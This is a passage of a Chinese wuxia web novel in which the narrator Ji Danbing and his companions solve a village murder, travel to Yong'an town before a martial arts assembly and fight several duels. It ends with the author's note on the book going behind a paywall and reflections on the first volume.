柳无风从地上捡起刀鞘,将那柄怪异的刀又塞了回去。他抱在怀里的样子,依旧如我在娄琴客栈初见之时相似。然而,此时,我却对那把刀再也没有了憧憬羡慕的感觉。 “你现在还有什么办法?”小月吟吟笑着。她葱白如玉一般的手攥着同样如玉一般的李兰花的手。 李兰花无力地松开了一直紧握的月亮弓,她慌乱的表情却不再慌乱了,反而坦然了,却也很忧伤。她说:“事已至此,我无话可说。” 柳无风厉声问道:“为何要杀人?” 李兰花紧紧咬着唇,只字不言。小月说:“我早就说过了,十案九奸,当然是为了那个叫朱茂喜的穷小子了。” 李兰花忙说:“不关他的事,这一切都是我自己做的。” 小月啧啧两声,说道:“想不到呀想不到,你这样的风骚寡妇,却还是个痴情的种子。”李兰花满脸不悦,却依旧咬唇不语。 我仍然不明白,为什么李兰花与朱茂喜有奸情,却要杀了朱胜九。这就好比,有一次我与李小谦吵架,他却打了客栈的厨子一样没有道理。 柳无风显然也不明白,他问:“为何要杀朱胜九与孙不平?” 小月说:“我想,她要杀的恐怕不是朱胜九,而且毛喜珠。” 什么?! 我说:“可是,分明是朱胜九死了。” 小月指着我的鼻子,骂道:“看你笨头笨脑的样子,这都想不明白。当然是她自己箭术不好,射歪了,误杀了朱胜九。” 如果是这样...... “那她为什么要杀孙不平?”我又问。 小月说:“如果我没猜错的话,是她见到了孙不平突然出现,想起了三年前的事,想顺水推舟,将这件事嫁祸给那些江湖人,只当是厉鬼索命,由此摆脱自己的嫌疑!” 原来如此。我为小月拍手叫绝:“你真聪明!” 小月哼了一声,说:“我当然是聪明了,还用你这笨家伙来说?!”我顿时脸颊发烫,不敢再去看小月的眼睛。 柳无风冷冷地说:“你自诩聪明,可知她为何要杀毛喜珠?!” 小月说:“当然是空房守寡,难耐寂寞,想要梅开二度,嫁给朱茂喜当媳妇了。” 李兰花却急了眼,她说:“你不要胡说。我与喜哥早就有情,若不是家人反对,他不会娶了那个荡妇,我也不会嫁给一个痨鬼。我们原本就应该在一起的,如今不过是想要过属于我们自己的日子,这有错吗?” 他们的爱情,着实让我感动。想这世间,还有几人肯为了感情不顾一切。我重重地点头,说:“你们没错!” 小月瞪着眼睛说:“下流胚子,你敢再说一遍吗?!” 为何要我再说一遍?没听清楚吗?我大声说:“他们没错!” 小月怒道:“好你个姬旦丙,敢跟我叫板,看我待会儿怎么收拾你!” “我,我......”我不知哪里说得不对,慌乱地想要解释,却又发现无从解释。 柳无风化解了我的尴尬,他问:“毛喜珠现在何处?” 李兰花缓缓闭上眼睛,忽然她嘴角扬起笑意,一种苦涩的笑。她长长地舒了一口气,说:“她已经死了。同样死在了月亮弓下。在她回娘家的路上,是我杀了她!” 小月冷哼道:“你们果然狠毒,为了一己私欲,杀了那么多人。” 李兰花说:“那荡妇本就该死。她多年前见隔壁家老五赌博赢了些银子,怂恿喜哥去赌,结果输得倾家荡产。后来又为了几口粮食,爬了朱胜九的炕头,却让喜哥一直隐忍,她这样的荡妇早就该死千次万次了!” 小月松开了李兰花的手,说:“你们的事的确有让人同情的地方,但你万万不该杀人,更何况还妄杀了两个不相干的人。” 李兰花忽然笑了,轻蔑地笑着,笑了很久,她才说:“不相干的人?!好笑!真是好笑!” 小月眉头紧皱,满脸愤怒,抓住李兰花的胳膊,喝道:“有什么好笑的!” 李兰花说:“那两个人本来就该死。你们还真的以为他们当年杀的是什么江湖人?你们还真的以为那两个无耻败类会有那样的勇气?!” 我问:“他们不是江湖人?” 李兰花说:“当然不是!若真的是什么江湖中人,恐怕三年前朱家岭便被寻仇的人屠尽了。” 小月问:“他们是谁?” 李兰花说:“他们不过是一个逃难的商户和他雇佣的武师。朱胜九与孙不平早就看中了他们身上的钱财,因此撒了一个弥天大谎,欺骗村里的壮汉子与他们一同作恶。他们拿的两个包裹里也不是什么铁片,而是满满当当的金子。那天夜里,在院子里的村民谁也不知道,其实那个包裹在朱胜九和孙不平杀那富商之后就已经调包了。” 小月问:“既然他们都不知道,你是如何知道的?” “我是如何知道的?”李兰花的笑依然苦涩,她说,“那个无耻的朱胜九早早便对我有了歹意,他为了得到我,把这秘密告诉了我,并说只要我肯从了他,他便给我三枚金子。” 我问:“你从了吗?” 小月大步冲了过来,一巴掌扇在我的脸上,怒道:“下流坯子!”我只觉得脸上火辣辣地疼,心里却一片茫然。 我又做错了什么? 第二卷 武林盟的开始与结局 第八十七章 永安 小月或许是动了恻隐之心,或许是真的被他们的感情所打动,她竟然要放过了李兰花。 柳无风点头默许。在朱家岭耽搁了两日,这样的结局,并不能算皆大欢喜。 第二日,天微凉,我们三人便趁着微寒的空气离开了朱家岭。 我打着哈欠,困意让我在马上忍不住地迷糊。我问:“昨天折腾到半宿,今天为什么走这么早?” 小月说:“走完了,恐怕会被村民围起来。” 我问:“为什么?” 小月说:“我们两个人都说了要帮他们查案,如今案件未清便要离开,只怕会有村民不那么喜欢的。” 我看了一眼柳无风,他说:“不错。” 我问小月:“你要去哪里?” 小月问:“你们去哪里?” 我说:“我们要去括苍山。” 小月笑着说:“我也要去括苍山。” 我想起那日在绍兴,括苍派的人曾经追杀小月的事,我急忙拦住她说:“不行。括苍派的人要杀你。” 小月说:“那便让他们杀好了。” “不好!”我心中忽然紧张,叫道,“你不能死。” 小月一怔,笑着问:“我为什么不能死?” 她为什么不能死?因为,我不想让她死。想到她会有危险,我便会莫名地紧张。想到她死,我便会十分悲伤。 小月看了我许久,忽然哼了一声,说:“傻子。”说罢,她一夹马腹,棕红骏马疾步如风。 我看了一眼柳无风,他说:“不错!”说完,他也驾马而去。 我依旧十分不安,追上小月,说:“你不能去。我不让你去。” 小月一脸认真,说:“你不让我去,我便不去吗?” “我......”我心中一阵烦躁,不知要如何劝阻这个不听劝阻的小月。 小月噗嗤一声笑了,笑得很开心,她说:“看你那傻样儿。你放心,陈伯洋那老头当日说过,不再找我麻烦。天下英雄面前,他们即便是有心杀我也断然不会动手的。” 是这样吗? 我依旧十分不安。我看了一眼与我并排的柳无风,他说:“不错。” “你能不能说点有用的?”我怒道。 柳无风没有看我,只是微微动了一下唇,说:“傻子。” 骏马奔驰,我们一路南下,两侧风景不停变化,终于在两日后的夜幕降临前,我们赶到了里距离括苍山不远的小镇,永安镇。 距离括苍山的武林大会还有五日,但小镇上已经聚满了来来往往的武林人士。这家小镇上许是从未这般热闹过。衣着朴实的村民已经淹没在手持刀剑的江湖人海中。站在永安镇高高耸立的牌楼前,望着不远处云烟袅袅的括苍山,我的心里感慨万千。 又一次,我接近了这个江湖。 而这一次,我是皇上钦点的武林盟主。 我问柳无风:“你怎样帮我?” 柳无风问:“帮你什么?” 我说:“皇上不是让你帮我做武林盟主吗?” 柳无风只说,不可急躁。 我怒道:“这种事怎么能不急躁?!”虽然这样的高位让我惴惴难安,但当我感觉自己已无限接近它时,却有一种异常强烈的渴望。仿佛,这武林盟主的头衔便已在我头顶上飘扬,很快我便要在括苍山的武林大会上对着满江湖的武林高手大喊,我是武林盟主! 小月跑了过来,她手里拿着一个青面獠牙的面具在我眼前摇晃,像个调皮的孩子。她说:“傻子,你看这面具怎么样?”她将青面獠牙扣在脸上,遮住她俊俏的脸,说:“这样就没有人可以看到我的容貌了!” 我不解,问:“你为何不让人看你的容貌?” 小月摆弄着那个青面的獠牙,一脸的喜爱。她说:“本姑娘长得如此花容月貌,出门若不懂得遮掩,岂不只让你这样的下流坯子胡乱惦记?!” 我想说,她这样倾国倾城的容貌,即便是遮掩再严实,只要我看一眼她的眼睛,她的耳廓,甚至是她那无意垂下的一缕丝发,都足以让我心动不已。 但是,我不敢说。这样的话,更说不出口,只能憋在心里,看着她一颦一笑,只在心里默默喜欢。 “姬大哥!”稚气未脱的少年声音从远处传来。 我扭过去看去,只见一身淡蓝衣服的易小心笑脸盈盈地向我走来。他身后站着的两个人也甚为熟悉。一个身材高挑,面像英俊,另一个是一精瘦的男子,额上横着三寸长的刀疤。 带疤男子正满脸怒气地瞪着我,仿佛下一刻便要将我生吞活剥了一样。 我也瞪着带疤男子,回以相同的表情。易小心似乎有所察觉,他看了一眼带疤男子,轻咳一声,说:“不得无礼。” 带疤男子愤愤然冷哼一声,将脸扭到一旁。 易小心笑着说:“没想到会在此处遇到姬大哥,不知来此处可是为了五日之后的括苍山武林大会?” 我说:“是。” 易小心说:“不知姬大哥是以何身份前来?” 我想说,老子是来当武林盟主的。可是,话未出口,却有一只手暗中掐住了我腰间的肉,那手并未用力,但我已感觉到,只要我将“武林盟主”脱口而出,那只手定然要将我腰间拧得一片紫红。 因为,那是柳无风的手。他一直在阻拦我说出武林盟主的事。 我忽然灵机一动,说:‘丐帮帮主。’ 柳无风的手又悄然撤去了,他满意地点了点头。我的心里竟莫名一阵欢喜,或许被人认可的感觉,便是如此。 “丐帮?”带疤男子插嘴,哈哈大笑,说,“你应该那个棍,再端个碗,兴许爷还会赏你两个铜板。” “我不要!”我瞪着带疤男子,心想,老子不缺那俩铜板。 带疤男子一怔,随即笑得更开心了。 易小心也忍俊不禁,微微一笑,但随即便严肃起来,对着带疤男子一通呵斥:“不许对姬大哥无礼。” 我得意洋洋,心想,让你无礼! “你脑门儿上的疤瘌是娘胎里带出来的吗?”小月冷哼一声,指着带疤男子额头,听声音中微含怒意。 带疤男子登时暴跳如雷,哇哇叫了两声,吼道:“老子当年一人大战淮南五鬼,将他们尽数斩杀,这疤乃是五鬼所留,你竟敢胡言乱语,侮辱老子!” 小月冷笑:“淮南五鬼这种跳梁小丑,不过一剑两剑便可了解的,竟然还被人砍了道疤。有什么好炫耀的?我若是你,便在额头上再加两横一竖,最好再留上两撇胡子,那样看起来比较威武。” 经小月这样一说,我在脑海中想象了一下,感觉他这样一个消瘦的身材加上两撇胡子,若能再穿上一件道袍,几乎与重阳子无异。想到这里,不由地笑了出来。 带疤男子大怒,骂道:“他娘的,你敢如此侮辱老子,老子跟你拼了。”说罢,他大力抽出长剑,发出“呛啷”一声脆响,随即杀意弥漫,一场大战只在弹指之间。 “徐师兄!”易小心伸手欲将带疤男子拦下,但无奈出手慢了一些,带疤男子已然撩动长剑向小月刺了过来。 青面獠牙遮挡下的小月,看不到她的脸。但剑已在咫尺,她却岿然不动的身姿,已显尽了她的平淡。 易小心没有动。 武炼也没有动。 我随即伸手要拔九郎剑,小月却如一道白烟一般飘到了一丈之外。 带疤男子扑了个空,脸上怒色更浓。他反手握剑,纵身一跃,竟有一丈多高。他在空中挺起长剑,俯身冲向小月。 一瞬间,我仿佛看到了无数只剑在空中飞舞,密密麻麻犹如密竹林中的萧萧落叶,齐齐向着小月打去。 他的剑法精进不少,已远不是在娄琴客栈中我所见的那样。 但小月依旧没有拔剑。如此万急的时刻,她竟将剑视若珍宝,不肯亮出。 我大喊:“小心!”话一脱口,我想起了易小心,回头看他,这次他却没有答应。 “铮” 我拔出九郎剑,短剑的光映着夕阳的余晖,一片金黄。我拼劲全力地向着小月冲过去,若我的剑档不下带疤男子的剑,那便让我的身躯挡下吧。 小月! 我在心里念着她的名字。即便是我还不知道她真正的名字是什么,那也无所谓了,我要护住的又不是一个名字。 我要护住的而是眼前的这个女子。 带疤男子挥舞着剑仍在紧逼,小月如同飘落的树叶,飘然向后退却。而我,却以我从未有过的速度,冲到了他们两人之间。 “啊!”小月一声惊呼。 带疤男子嘴角上扬,笑得很冷,笑得奸邪,笑里含着杀意。 “当” 九郎剑一震,我的手臂一麻,眼前金灿灿的光影一闪而过,带疤男子的剑碎成两段。 他满脸惊讶,但他却依旧挺着短剑向我刺来。 我闭上眼睛,只当那横冲而来的剑是竹筒中射出的银针,声息一动,我反手正手一阵比划,耳边响起“哐啷哐啷”的声响。 “啊!”一声极为惨烈的尖叫。 再睁开眼睛,带疤男子已跪倒在地上,他痛苦的叫着,左手死死抓着右边的手臂。 只是那手臂上的手,已然不见了去向。 第二卷 武林盟的开始与结局 第八十八章 慌乱 “轰隆” 夜间,乌云骤起,苍穹如墨。几道厉雷霹雳闪下,稍时暴雨倾盆。沸腾了一整日的小镇终于在一场滂沱大雨中陷入沉寂。 人声已不得闻。只听见雨点落下,敲打着大地,一片“哗哗啦”的杂响。 永安镇的鲁家客栈。我站在客房的窗前,看着窗外雨落如柱,想起方才的那场争斗,依旧心绪难平。 虽然我并非有意,但我却砍断了带疤男子的手。而且是他拿剑的右手。一个江湖人,没了右手,他如何拿剑?那时我才知道,他叫徐宝春,是白景行的三弟子。 徐宝春临走时怨恨的眼神依旧在我的脑海中盘旋。那眼神仿佛是一根带毒的刺,让我一阵阵地发冷。 “你怎么样了?”小月走进我的房间,她的眼神中带着担忧。 我说:“我只是有些害怕。” 小月的脸上挂着淡淡的笑意,我心中一暖,立时宽慰许多。她说:“已经发生的事了,不要再去想了。” 我仍旧无法彻底释怀,说:“我杀过人,却从没砍断过别人的手。” 小月说:“杀人你都不怕,你还怕砍断别人的手?” 我在心中对比了一下两者的感觉,我说:“我怕徐宝春会来报仇。” 小月说:“随他去吧。青云派不会找你便是了。” 我问:“为何青云派不会找我?” 小月叹了口气,说:“你本不该出手的。他伤不了我,但我却也不愿意伤他。” 我不解,问:“为什么?” 小月说:“或许你都不知道,你已经被易小心利用了。” 易小心利用我? 我说:“怎么可能?他如何利用我的?” 小月说:“以易小心的武功,你当真以为他拦不住一个徐宝春吗?他不过是想借我的手除了徐宝春而已。我正是看破了这一点,才不愿拔剑的。而你,却太冲动了。”她望着我,眼中闪烁着我不能理解的光。那光很柔和,柔和得让我心都要化了。 我问:“他为何要除掉徐宝春?” 小月说:“或许是因为徐宝春不够听话,或许还有其他的什么。但这些都已经不重要了,因为易小心的目的已经达到了。徐宝春已经成了废人,他再也拿不起剑,也再不会威胁到易小心了。” 我想起那日怀香酒馆之事。易小心揭穿了冒充白景行的男子,他走后,娄琴曾说,易小心厉害的是心机。那时,我还不甚明白。如今,听了小月的这一番解说,我才真正感受到娄琴言语之中的深意。 易小心果然厉害。厉害得让我觉得可怕。 回过神来,忽然发现小月正在直直地盯着我。我与她眼神对视,她却恍惚间转移了视线。听着窗外的雨声,我们沉默了许久。 小月问:“你当时为什么要挡在我身前?你是怎么打算的?” 为什么?因为我不想让你受伤!这是我当时的想法,看着小月温柔的眼睛,我却如何也说不出口。 小月看了我许久,我也挣扎了许久。她忽然叹了一口气,说:“算了,你不说,我也明白。” 我问:“你明白什么?” 小月忽然变得羞答答的,她说:“我明白你当时在想什么。” 我的一阵慌乱。她真的知道我当时的想法吗?她会不会怪我对她有着不该有的想法?她是一个出门都要遮盖容貌的女子,她肯定非常讨厌别人对她有什么非分之想。 她会不会杀了我?就像在江湖客栈里杀死括苍派的那四个淫徒一样。 小月并没有拔剑,看起来也没有生气。她只是双手抱住了自己,冷风吹进窗沿,带着丝丝雨水,她说:“我有些冷。” 我连忙转身,说:“我去拿褥子给你裹一下。” 小月冷冷地喝止了我,说:“回来!” 我问:“怎么了?” 小月说:“我又不冷了。” 我哦了一声,慌乱无措。我从未在一个女子面前这般无措过,即便是在娄琴面前,我还能保持以往的淡定。但在小月面前,我能感受到的只有害怕。害怕她看破我的心思,害怕她会生气,害怕她一剑封了我的咽喉。 又是许久的沉默之后。小月问:“你......没有什么话要给我说吗?” 我想了想,说:“有!” 小月的脸颊忽现红晕,她低着头,嘴角扬起笑意,问:“什么话?” 我说:“不然,我还是拿褥子给你裹一下吧!” 小月猛地抬起头,瞪着眼睛,直直地盯着我,如碧波一般的眼眸中似乎要喷出火焰。她咬着牙,狠狠的说:“姬旦丙!你......你真是个傻子!”说罢,她扬长而去,留下我一片茫然。 我又做错了什么? 其实,我一直都在错。我错不该走入这个江湖,我错不该做什么武林盟主,我错不该认识小月,我更错不该不能自拔地喜欢上她。 这夜,彻夜无眠。小月的影子仿佛一直在我眼见摇晃,挥之不去。 第二天一早。 我鼓足勇气,在房间里大吼两声。因为,我觉得还要去找小月问一问,我到底哪里做得不对?昨夜她为何会愤然离开? 店小二“咣”的一声推开房门,满脸不安,问:“客官,您没事吧?” 我? 我说:“我没事啊!” 店小二四处打量了一番,喃喃道:“没事瞎叫唤什么?吓我一大跳!” 他转身正要离开,我大吼一声:“你站住!”竟然敢这么跟我说话,知不知道,老子是皇上钦点武林盟主! 店小二被我一声吼吓得抖了一个激灵,诺诺地转身,问:“客官,还有什么吩咐?” 看着他的样子,我忽然又有些不忍训斥了。我说:“没事。” 店小二骂骂咧咧的走了。 随他去吧。此时,我更急切于小月。她昨晚的表现,让我甚为不安。 绕到小月的客房前,我重重吸了一口气。感觉仍旧十分紧张,手抖得有些麻木了,我在自己胸口重重地锤了两拳,闭着眼睛,叩响了房门。 “小月?” 许久,没有回应。我再叩房门。 “咚咚咚”。 我只感觉响声如雷一般,紧张得连双腿双脚都已失去了知觉一般。然而,小月的房间里依旧没有任何动静。 我壮着胆子用力一推。“吱呀”一声,房门打开,一阵熟悉的香气扑面而来,但房间里已是空空荡荡。 小月不见了! 我忙转身寻找,却见柳无风抱着那柄刀站在我身后。 “我靠!”我忍不住地惊叫了一声,“什么时候来的?” 柳无风淡淡地说:“在你锤胸的时候。” 我问:“小月呢?” 柳无风说:“走了。” 我心中一空,问:“去哪里了?” 柳无风说:“她没说。” 满满一个早晨的紧张情绪仿佛在这一瞬间被抽走了,或许抽走的还有别的什么,因为我只感觉心里一阵空荡荡的,连脑中也是一片空白。 只想着,小月去哪里了? 柳无风说:“她让我告诉你。” 我忽然又燃起希望,忙问:“她说什么?” 柳无风说:“她说,不想再理你这个傻子。” 我此生第二恨的便是别人说我傻。但对小月,我却怎么也恨不起来。“傻子”已经完全被我忽略掉,我能听到的,只是她不想在理我了。 一整天,我都觉得浑浑噩噩的,提不起精神。 柳无风住进客栈里之后,反而不如在朱家岭那般豪爽了。他变得锱铢必较,连一盘蚕豆的价钱都要斤斤计较。 我看他一粒一粒地数着蚕豆,还未数完,便拍响了桌板:“小二!你过来!” 店小二哈着腰跑到柳无风面前,讪笑道:“客官,您有何吩咐?” 柳无风瞪着眼睛,吓得店小二一阵颤抖。他说:“昨晚一盘蚕豆尚有二十八颗,为何今日就成了二十五颗?同样是五文钱一盘的蚕豆,怎么标准却不统一?!” 店小二面露难色,说:“这,这......盛盘的时候,也不能一粒一粒的数啊。” 柳无风“咣”的把刀拔出一半,怒道:“我看你分明就是黑店!” 店小二吓得一屁股蹲到地上,连连摆手,说:“客官息怒,客官息怒,我这就再去盛一盘。” 柳无风将刀塞了回去,淡淡地说:“快去!” 店小二连滚带爬地跑进了后厨。我说:“不就是三粒蚕豆嘛。反正你也可以报销。” 柳无风说:“那不行!超标不给报!” 我说:“三粒蚕豆而已,反正也不可能超标。” 柳无风说:“能省则省,剩下的都是自己的。” 我默然无语。这时,客栈里陆陆续续闪进十几道身影,为首的是一中年胖子,或许是肥胖所致,他浑身上下松松垮垮,袖口裤腿皆高高挽起,手中提着半截银枪,看起来有些邋遢,唯独胸口处裹得严严实实,似乎有什么见不得人的秘密。 他是...... 我在脑海中摸索了一番。忽然想起,去年中元之夜娄琴客栈里的那一场密谈。这人,正是南华派的掌门,人送绰号“肥猫”的司徒清尘! (司徒清尘再次客串,感谢司徒无私奉献,接下来他将承包本书的一大片笑点,也欢迎大家支持司徒的大作《证道记》!) 第二卷 武林盟的开始与结局 第八十九章 雷宇 我看着司徒清尘。 他同样也看见了我。司徒清尘微微一怔,随即喜笑颜开,走到我跟前微一抱拳,说:“这不是姓姬的小兄弟吗?去年中元一见,不知一向可好?” 我说:“很好。” 司徒清尘先是一愣,不知为何,他的脸上随即露出怫然之色。他说:“不知小兄弟不好好地呆在临安,跑到括苍山的地界所谓何事啊?” 我说:“我来开会。” 司徒清尘呵呵一笑,说:“你?括苍派召集的乃是江湖武林人士,各大门派掌门皆有前来,不知小兄弟此番以何身份参会啊?” 我说:“丐帮帮主。” 四周顿时一片笑声。我说:“你们笑什么?” 司徒清尘说:“这江湖上何时多了一个丐帮?若要饭都能开门立派,要我们这些人苦苦经营什么?” 他话中似乎亦有所指,只是我当时听得不甚明白。我说:“要饭的为什么不能开门立派?” 这一句话仿佛把司徒清尘问住了,他冷哼一声,扭头不再理会我。 正在我想继续追问时,忽然门口一声厉呵,把所有人的目光都吸引了过去。 “姬旦丙呢?!姬旦丙在哪里?!” 只见是一身青云派装扮的男子提剑站在客栈门口。他那锥子一般的目光扫量着客栈里的每一个人。 柳无风冷笑:“有人来找你寻仇了!” 我心里咯噔一下。怎么会呢?小月不是说过青云派不会找我报仇吗? 店小二笑呵呵地跑到那人跟前,说:“客官要吃鸡蛋饼?!” 那人怒目圆睁,大声吼道:“吃?我不只要吃,我还要捏碎了他!”他伸手做了一个攥拳的东西。店小二挠着头说:“吃个鸡蛋饼还有这么多道道?!” 我见那人目光凶狠,杀意腾腾,心里不由得一阵害怕。我问柳无风:“怎么办?” 这次,柳无风表现出了前所未有的仗义,他手按在刀柄上,淡定地说:“莫慌,有我在!” 我心里既宽慰又感动,心想这世间难得有人愿为我出头。我说:“多谢!” 司徒清尘艰难地摇摆着他那肥硕的身子,说:“这不是雷宇贤侄吗?哪里来的这么大火气?”说完,他竟向我看了一眼。 雷宇顺着他的视线找到了我,向司徒清尘说了一声多谢,阔步向我走来。 “你就是姬旦丙?”他用那还未脱鞘的剑指着我。 我心咚咚直跳,但又不愿堕了武林盟主的威仪,只能强装着镇定,说:“是我!” 四周一片如雷般的笑声。一股怒气登时直拔我的头顶,我大吼:“你们笑什么!” 角落里刚刚坐下的南瓜派弟子指着我大喊:“小二,来盘这个菜!” 随即又是一阵爆笑。 我攥紧拳头,心想,南华派的这群人都给老子等着,等我成了真正的武林盟主,找你们一个个的算账。 眼下,雷宇已经抽出长剑,对我说:“是条汉子你就跟我出来!” 我看了你一眼柳无风,他鼻孔里重重哼了一声,抓起宝刀,随着雷宇走出来客栈。 我随柳无风一同走出客栈,身后跟着的是一大群凑热闹的客人,还有那个店小二。 永安镇的街上,只比昨日更加热闹。经昨夜一场大雨之后,青石板铺开的街面并没有如想象中那般焕然一新,而是一片泥泞的脚印。 雷宇转身,剑尖儿直指向我,说:“昨日你砍了我师兄的手,今日我也要砍你的手!” 我摸了摸自己的手腕,说:“不行!” 雷宇一怔,随即脸上怒气更浓,说:“真是狂妄!我倒要看看你有多大的本事!” 从旁路过的行人见到这般场景,纷纷驻足,不过一会儿的功夫,四周已围了近百口看热闹的人。 认怂不是我的个性。更何况,在众目睽睽之下认怂,以后该怎么做武林盟主。我暗暗对自己说,决不认怂! 拔出九郎剑的那一刻,却有一只大手挡在了我的胸前。 柳无风说:“我来!” 我望着柳无风平淡而坚毅的脸,只感觉他四周散发着神圣的光辉,彻底照暖了我惴惴不安的心。只是感激之情犹在心中,不知如何表达。 柳无风“咣”的一声把刀拔了出来。两尺长的刀柄上,撅着一段一尺多的刀刃,引得四周一阵大笑。 柳无风面无表情,只是哼了一声。雷宇忍俊不禁,笑着,说:“哈,你这刀造型可真是别致得很!” 柳无风又哼了一声,说:“休要轻视!我这刀乃是按着关二爷的青龙偃月刀模子打制,不过是当时材料不足,尺寸小了些而已。” 这是我认识柳无风以来听他说得最长的一段话,却也是令我最无语的一段话。 雷宇哈哈大笑,说:“那就让我的天蚕宝剑会会你的青龙偃月……小刀!” 柳无风说:“你不行。” 李小谦曾经说过,女人不能说不要,男人不能说不行。 果然,柳无风的这句话彻底激怒了雷雨。他满脸胀得通红,撩起长剑发出龙吟一般的声响。但他只是摆了一个架势,并没有向柳无风靠近半步,他的眼神之中闪过一丝稍纵即逝的恐惧。 柳无风看着雷宇的眼神像他的刀锋一样锐利,他又哼一声,以一种极为不屑的语气说:“雕虫小技!” 话音刚落。柳无风已经挥刀向着雷宇斩去。我只感觉一股劲风从身后穿过,那风撩动我的衣襟,顺着刀斩去的方向,直扑雷宇的面门而去。 好厉害。我在心里暗自惊叹。第一次见柳无风出手,果然不同凡响。 雷宇挥剑迎击,刀剑相撞,迸发出绚丽的火花。刀锋划过剑刃,火光四射,还伴着金属摩擦时尖锐刺耳的声响。 一瞬之后。两人交换了位置。雷宇捏着剑诀立在我的面前,表情凝重。他的背后,是柳无风宽厚的背影,看不见表情! 我一颗心悬在半空,悄悄咽了一口唾沫。这必将是一场惊心动魄的比试。在场的许多人都一脸紧张地看着两个人,谁也不敢发出一丝响动 熙熙攘攘的街道上,满满的人,却异常的寂静。 “咔!” 不知哪里来的一声脆响,打破了场上的宁静。所有人的目光齐刷刷地看向柳无风。 又是“咔”的一声,柳无风手中的刀如同被斩落的首级一般,从刀柄上齐腰断开,“哐当”一声砸在地上。 “我的刀断了。”柳无风转过身,表情依旧十分平淡,似乎这一场比武的输赢,无关紧要一般。 “靠!没那两下子你装得什么逼?!”顷刻间,我将李小谦常用的词汇在脑中翻江倒海一般地过了一遍,拼凑出这么一句话来表达我内心的骇然。 柳无风并没有理我,弯腰捡起了半截刀刃,在断口处比划了两下,一边点头,一边喃喃自语:“嗯!修一下,还能用!” “哈哈哈哈!” 雷宇大笑起来,他讽刺柳无风说:“青龙偃月小刀果真让我大开眼界啊!” 柳无风若无其事地将断刀插入刀鞘,另半截刀柄插入腰间。他冷冷看着雷宇,淡淡地说:“今日便先放过你!”说罢,他径直往客栈里走。 我问:“你去哪里?” 柳无风说:“修刀。” 我说:“你走了,我怎么办?” 柳无风摆了摆手,说:“爱莫能助!”他走了,留下我独自面对着得意洋洋的雷宇。 我长呼一口气,悄然攥紧了九郎剑。 雷宇说:“看这次还有谁会为你出头!”突然,他将手中的剑插入了剑鞘之中。 这是怎么了?莫非,他是要就此作罢了吗? 雷宇当然不会就此作罢。因为,他原本握剑的手五指并拢成掌,每一道指缝间都插着一根雪亮的银针! 银针三寸长,在阳光下闪耀着锐利的白光!随即,他手掌一挥,一道银光闪烁,直冲着我眉心飞来。 但这速度……实在太慢了! 当时的我,已经可以接住那竹筒发出的五十多道银针。莫说与那第五十几根,就是比那第三十几根的速度也相差甚远。 “当” 一声悦耳的脆响,如同微风拂过窗前的银铃。那根飞射而来的银针,只是被我随手一挥便轻易挡了下来。 雷宇并没有惊讶的神情,仿佛他对这样的结果早有预知一般。但他挥动的手并没有停。 银针一根又一根的接连飞出。 我闭着眼睛,左右格挡,游刃有余。直到雷宇手指间五道银针尽数发出,雷宇停了下来,他直直地盯着我,嘴角扬起一丝怪异的笑。 他笑。我也要笑。 因为,我心里已经乐开了花。倘若他随意使出什么剑招或许都将让我手足无措,但他却偏偏要向我飞射银针。 “雕虫小技!”我学着柳无风的样子,心里在想,你当老子一天到晚是白练的吗? 忽然,人群中,不知出自何处,一道细小的白光一闪。我几乎是无意识地提起了剑。 那白光速度极快!比我以往所见的速度都快!比那第五十几根银针的速度还要快上许多。 “当” 银铃般的脆响划过耳边,白光在九郎剑上撞出星星点点的火花。 我急忙去人群中寻觅,只见人群的远处,一个蓝衣少年的背影,正负手远去。 “喂!”我大声喊他,“你站住!” 他身影忽然加速,一晃消失在街巷的拐角处。 第二卷 武林盟的开始与结局 上架感言+第一卷结语 不好意思,姬旦丙的故事明天就要上架了。 构思了这么久,又写了整整两个月,二十几万字,如今迎来了上架。其实上架是迟早的事,但还是要向读者道歉。这本书并不像其它的书那么宏大,可以写到两百万三百万甚至更多的字,它的总体规划也就是一百多万字,在浩大的网文世界中只能算短篇小说。上架虽然早了点,但也不会让读者破费太多。也借这个机会,把本来就应该总结的第一卷一块说一下吧。 《江湖是怎么没的》(我给他起了个小名,叫姬旦丙的故事)是我在纵横的第一本书。这本书的故事脉络早已经被我构思得比较清晰,唯独让我感到十分艰难的是那些能够博取读者一笑的段子。因为这本书的文风有些沉重,之所以写这么多的笑点,是为了让读者读起来能够轻松一些。 第一卷故事里的几个大梗,比如“一朝及第胜过修炼千年,法力无边不如权势滔天”,重阳子算命的那个“唉嘶必”,李小谦被打后说的“我知道我哪疼”,还有最让我满意的地震那章的桥段,都是来源于我生活中的真实经历。在写的时候,我不仅会笑,而且还会感觉很温馨,很怀念,那些朋友的欢声笑语都是我生活中出现过却已经回不去的美好时光。 故事的第一卷,主要是铺垫了那个时代的背景,主线是想告诉大家,在南宋初年,经过宋金战乱,江湖只剩半壁,却仍在夹缝之中求生存。通篇通过一种比较沉重的叙事,带着大家走进那个特殊时代背景下,体会江湖各大门派在其中的难处,感受姬旦丙回忆里的怅然与悲伤,可以说,通过朋友们给我的反馈,已经基本达到了这种效果。 但第一卷中,我却有两个极大的遗憾,便是在圆通和白景行两个人物身上。首先说圆通,我最初的设想是把圆通设计成一个特别迷幻的人物,我本来想让他的禅慧寺风风火火地建起来,开门立派招揽弟子百余名,随后因它的位置过于接近南宋的权利中心而被朝廷忌惮,最终被以“莫须有”的罪名取缔,在那之后,圆通忽然越狱消失得无影无踪,创造出这个人物的迷幻与悲情。也是想要通过禅慧寺的故事,让大家感受到各大门派在那个时代下生存的艰难。但最终,却因情节构思的不足,让禅慧寺在姬旦丙等人回到临安时提早的结束了。制约我继续构思的因素,主要因为我不能断更。可以说,江湖能取得现在一点小小的成绩,有许多个读者,不断更是一个很重要的因素。正所谓,不断更,才有拿到更多的推荐位。 白景行的遗憾在于第一人称视角的限制。他本来就是一个武功极高的人,他和皇上很熟,但他心在江湖,不在朝野。白景行曾对陆游说,能做闲云野鹤,何尝不是人生一乐。这是白景行心里的无奈,也是我心里的无奈。后续剧情我会一点一点的交待,其实现在第二卷中通过姬旦丙与皇上的几次密谈,已经可以感觉得出,皇上其实是不愿江湖存在的,他心里有所忌惮。要知道,被皇上忌惮并不是一件好事。白景行正是看破了这一点,所以才一味地妥协,只求在皇上和江湖之间寻找一个平衡,即使在夹缝中,也要保这个江湖无虞。 他做到了,但他却死了。 他为什么会死,在后续的剧情中也会交待出来。只是,那会非常靠后。 我是一个铁杆的武侠迷,我一直认为,武侠小说里最经典的一个问题就是,何为江湖? 